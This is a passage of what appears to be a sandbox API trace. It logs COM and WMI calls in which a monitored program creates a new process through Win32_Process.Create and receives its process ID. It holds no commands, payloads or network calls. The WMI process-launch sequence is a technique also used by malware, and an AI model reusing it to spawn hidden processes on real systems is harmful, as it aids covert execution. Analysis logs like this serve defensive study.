pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c998 | out: pCid=0x1b10c998*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0129.129] IUnknown:Release (This=0x36af28) returned 0x3 [0129.129] CoGetContextToken (in: pToken=0x1b10ca20 | out: pToken=0x1b10ca20) returned 0x0 [0129.129] CoGetContextToken (in: pToken=0x1b10cea0 | out: pToken=0x1b10cea0) returned 0x0 [0129.129] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0129.129] IUnknown:Release (This=0x36af20) returned 0x2 [0129.129] CoGetContextToken (in: pToken=0x1b10cf20 | out: pToken=0x1b10cf20) returned 0x0 [0129.130] CoGetContextToken (in: pToken=0x1b10ce20 | out: pToken=0x1b10ce20) returned 0x0 [0129.130] IUnknown:QueryInterface (in: This=0x36af20, riid=0x1b10cf80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b10cf50 | out: ppvObject=0x1b10cf50*=0x0) returned 0x80004002 [0129.130] CoGetContextToken (in: pToken=0x1b10d0b0 | out: pToken=0x1b10d0b0) returned 0x0 [0129.130] IUnknown:QueryInterface (in: This=0x36af20, riid=0x7ffb02955148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d180 | out: ppvObject=0x1b10d180*=0x0) returned 0x80004002 [0129.130] CoGetContextToken (in: pToken=0x1b10d140 | out: pToken=0x1b10d140) returned 0x0 [0129.130] IUnknown:AddRef (This=0x36af20) returned 0x3 [0129.130] IWbemClassObject:Put (This=0x1b442a10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da60*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36af20, varVal2=0x0), Type=0) returned 0x0 [0129.131] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x350f00, puCount=0x1b10daf8 | out: puCount=0x1b10daf8*=0x2) returned 0x0 [0129.131] WbemDefPath:IWbemPath:GetText (in: This=0x350f00, lFlags=4, puBuffLength=0x1b10daf0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10daf0*=0x22, pszText=0x0) returned 0x0 [0129.131] WbemDefPath:IWbemPath:GetText (in: This=0x350f00, lFlags=4, puBuffLength=0x1b10daf0*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10daf0*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.131] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10da38 | out: puCount=0x1b10da38*=0x2) returned 0x0 [0129.131] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10da30*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da30*=0xf, pszText=0x0) returned 0x0 [0129.131] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10da30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.131] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0129.131] WbemLocator:IUnknown:AddRef (This=0x36b3b8) returned 0x3 [0129.131] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x36b3b8) returned 0x0 [0129.131] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x3 [0129.131] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x2 [0129.131] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0129.131] WbemLocator:IUnknown:AddRef (This=0x36b3b8) returned 0x3 [0129.131] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x36b3b8) returned 0x0 [0129.132] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x3 [0129.132] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x2 [0129.132] WbemDefPath:IWbemPath:GetText (in: This=0x350f00, lFlags=2, puBuffLength=0x1b10db00*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db00*=0xe, pszText=0x0) returned 0x0 [0129.132] WbemDefPath:IWbemPath:GetText (in: This=0x350f00, lFlags=2, puBuffLength=0x1b10db00*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db00*=0xe, pszText="Win32_Process") returned 0x0 [0129.132] IWbemServices:ExecMethod (in: This=0x1b403750, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b442a10, ppOutParams=0x1b10da70*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b10da70*=0x1b3dde30, ppCallResult=0x0) returned 0x0 [0129.625] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="ProcessId", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b12700*=0, plFlavor=0x2b12704*=0 | out: pVal=0x1b10da60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x980, varVal2=0x0), pType=0x2b12700*=19, plFlavor=0x2b12704*=0) returned 0x0 [0129.625] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="ProcessId", lFlags=0, pVal=0x1b10da70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b12700*=19, plFlavor=0x2b12704*=0 | out: pVal=0x1b10da70*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x980, varVal2=0x0), pType=0x2b12700*=19, plFlavor=0x2b12704*=0) returned 0x0 [0129.626] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0129.626] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0129.627] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0129.627] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.628] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b433970) returned 0x0 [0129.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433970, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0129.629] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433970, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x351140) returned 0x0 [0129.629] WbemDefPath:IUnknown:Release (This=0x1b433970) returned 0x0 [0129.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x351140) returned 0x0 [0129.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0129.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0129.629] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0129.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0129.629] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0129.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b433e90) returned 0x0 [0129.630] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433e90, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.630] WbemDefPath:IUnknown:Release (This=0x1b433e90) returned 0x3 [0129.630] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0129.630] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0129.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0129.630] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0129.630] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x1 [0129.630] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0129.630] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0129.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x351140, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x351140) returned 0x0 [0129.630] WbemDefPath:IUnknown:AddRef (This=0x351140) returned 0x3 [0129.630] WbemDefPath:IUnknown:Release (This=0x351140) returned 0x2 [0129.630] WbemDefPath:IWbemPath:SetText (This=0x351140, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0129.630] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0129.631] WbemDefPath:IWbemPath:GetText (in: This=0x351140, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0xe, pszText=0x0) returned 0x0 [0129.631] WbemDefPath:IWbemPath:GetText (in: This=0x351140, lFlags=2, puBuffLength=0x1b10db40*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db40*=0xe, pszText="Win32_Process") returned 0x0 [0129.631] WbemDefPath:IWbemPath:GetInfo (in: This=0x351140, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0129.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0129.631] WbemDefPath:IWbemPath:GetInfo (in: This=0x351140, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0129.631] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0129.631] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0129.631] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0129.631] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.635] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b433eb0) returned 0x0 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433eb0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0129.636] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433eb0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x3521c0) returned 0x0 [0129.636] WbemDefPath:IUnknown:Release (This=0x1b433eb0) returned 0x0 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x3521c0) returned 0x0 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0129.636] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0129.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b433d50) returned 0x0 [0129.636] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433d50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.636] WbemDefPath:IUnknown:Release (This=0x1b433d50) returned 0x3 [0129.636] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0129.637] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0129.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0129.637] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0129.637] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0129.637] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0129.637] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0129.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x3521c0) returned 0x0 [0129.637] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0129.637] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0129.637] WbemDefPath:IWbemPath:SetText (This=0x3521c0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0x15, pszText=0x0) returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10db40*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10db40*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetInfo (in: This=0x3521c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetInfo (in: This=0x3521c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10daa8 | out: puCount=0x1b10daa8*=0x0) returned 0x0 [0129.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10da68 | out: puCount=0x1b10da68*=0x2) returned 0x0 [0129.638] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da60*=0xf, pszText=0x0) returned 0x0 [0129.638] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.638] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0129.638] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0129.638] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0129.638] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.639] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cda8 | out: ppv=0x1b10cda8*=0x1b433c50) returned 0x0 [0129.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433c50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce90 | out: ppvObject=0x1b10ce90*=0x0) returned 0x80004002 [0129.639] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433c50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce68 | out: ppvObject=0x1b10ce68*=0x352580) returned 0x0 [0129.639] WbemDefPath:IUnknown:Release (This=0x1b433c50) returned 0x0 [0129.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x352580) returned 0x0 [0129.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cca0 | out: ppvObject=0x1b10cca0*=0x0) returned 0x80004002 [0129.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0129.640] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0129.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c358 | out: ppvObject=0x1b10c358*=0x0) returned 0x80004002 [0129.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2e0 | out: ppvObject=0x1b10c2e0*=0x0) returned 0x80004002 [0129.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2d0 | out: ppvObject=0x1b10c2d0*=0x1b433cd0) returned 0x0 [0129.640] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433cd0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, 